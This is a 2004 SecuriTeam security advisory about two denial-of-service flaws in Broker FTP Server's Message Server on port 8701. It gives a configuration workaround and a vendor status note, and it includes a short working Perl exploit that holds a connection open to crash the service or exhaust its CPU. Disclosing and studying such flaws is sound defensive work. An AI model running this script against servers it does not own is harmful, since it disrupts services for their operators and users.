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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Broker FTP DoS (Message Server) 10 Feb. 2004    Summary Beyond Security's SecurITeam has discovered two security vulnerabilities in the Broker FTP product, these vulnerabilities allow a remote attacker to repeatedly crash the TsFtpSrv.exe (The FTP Service) and to cause it to used large amount of CPU time.   Credit: The information has been provided by SecurITeam. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Affected version:  * Broker FTP Server version 6.1.0.0 By connecting and immediately disconnecting to the Broker FTP server's Message Server (by default residing on port 8701) it is possible to cause an exception in the TsFtpSrv.exe program. The exception doesn't cause any harm beside showing a message that the TsFtpSrv.exe has encountered an Application Error. By connecting and not sending anything (but keeping the connection open), it is possible to cause the TsFtpSrv.exe to utilize large amount of CPU time (basically while the connection is kept open, CPU usage will be 100%). Workaround: It is not clear what the Message Server is used for, but modifying the TsFtpSrv.ini's [TSMessageServer] allows an administrator to control what port the server listens on (and change it from the default one). Exploit: #!/usr/bin/perl -w # TransSoft Broker FTP Server DoS (CPU usage and Exception) # use Socket; if (not $ARGV[0]) {         print qq~                 Usage: pfdos.pl < host>         ~; exit;} $ip=$ARGV[0]; print "host: " . $ip . "\n\n"; sendexplt("A"); sub sendexplt {  my ($pstr)=@_;         $target= inet_aton($ip) || die("inet_aton problems");  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') ||0) ||  die("Socket problems\n");  if(connect(S,pack "SnA4x8",2,8701,$target)){  select(S);                 $|=1;  print $pstr;  sleep 100;          close(S);  } else { die("Can't connect...\n"); } } Vendor Status: We have informed the vendor over a month ago, to all the emails we could have found on its web site, we have not received any response, as of yet.  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Visio Viewer Tree Object Type Confusion Visio File Handling Arbitrary Execution Vulnerability Microsoft Windows Modern Mail Spoofing Weakness Vulnerability Microsoft SharePoint Callback Function URL Handling Privilege Escalation Vulnerability Microsoft IE CCaret Use-after-free Arbitrary Code Execution Vulnerability Microsoft Windows 8 TrueType Font (TTF) Handling DoS Vulnerability Microsoft IE OnResize Use-After-Free Arbitrary Code Execution Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege (2013-1287) Vulnerability Microsoft IE SaveHistory Onload Event Handling Use-After-Free Arbitrary Code Execution Vulnerability Microsoft IE CMarkupBehaviorContext Use-After-Free Arbitrary Code Execution Vulnerability Microsoft SharePoint XSS Vulnerability Microsoft IE OnBeforeCopy Use-After-Free Arbitrary Code Execution Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege Escalation Vulnerability Microsoft OneNote Buffer Size Validation ONE File Handling Information Disclosure Vulnerability Microsoft IE GetMarkupPtr execCommand Print Event Handling Use-after-free Execution Vulnerability Microsoft SharePoint Remote Overflow DoS Vulnerability Microsoft IE CTreeNode Use-After-Free Arbitrary Code Execution Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege (2013-1286) Vulnerability Microsoft IE CTreeNode Use-After-Free Use-After-Free Arbitrary Execution Vulnerability Microsoft IE Proxy Server TCP Session Re-Use Cross-User Information Disclosure Weakness Vulnerability Microsoft IE Shift JIS Character Encoding Information Disclosure Vulnerability  Featured Articles Microsoft SharePoint Callback Function URL Handling Privilege Escalation Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege (2013-1287) Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege Escalation Vulnerability Microsoft Windows Kernel Memory Object Handling Local Privilege Escalation Vulnerability Microsoft Windows SSL/TSL Forced Downgrade MitM Weakness Microsoft Windows Memory Object Handling Local Memory Privilege Escalation Vulnerability Microsoft Windows Privilege Escalation Vulnerability Microsoft .NET Framework Serialization Remote Code Execution Vulnerability Microsoft Visio Viewer VSD File Format Remote Code Execution Vulnerability Microsoft .NET Framework Input Serialization CVE-2012-0160 Remote Code Execution Vulnerability Microsoft .NET Framework ASP.NET Forms Authentication Bypass Vulnerability 'TrendMicro Control Manager CASProcessor.exe BLOB Code Execution Vulnerability' 'HP iNode Management Center iNodeMngChecker.exe Code Execution Vulnerability' 'HP Data Protector Backup Client Service EXEC_SCRIPT Code Execution Vulnerability' 'Microsoft Internet Explorer Property Change Memory Corruption Vulnerability' 'Microsoft Office PowerPoint PersistDirectoryEntry Code Execution Vulnerability' 'CA Total Defense Suite Heartbeat Web Service Code Execution Vulnerability' 'HP Web Jetadmin Unauthorized Access to Managed Resources Vulnerability' 'Novell Zenworks Handheld Management ZfHIPCnd.exe Opcode 2 Code Execution Vulnerability' 'Microsoft Windows Shell Graphics biCompression Buffer Overflow Vulnerability'
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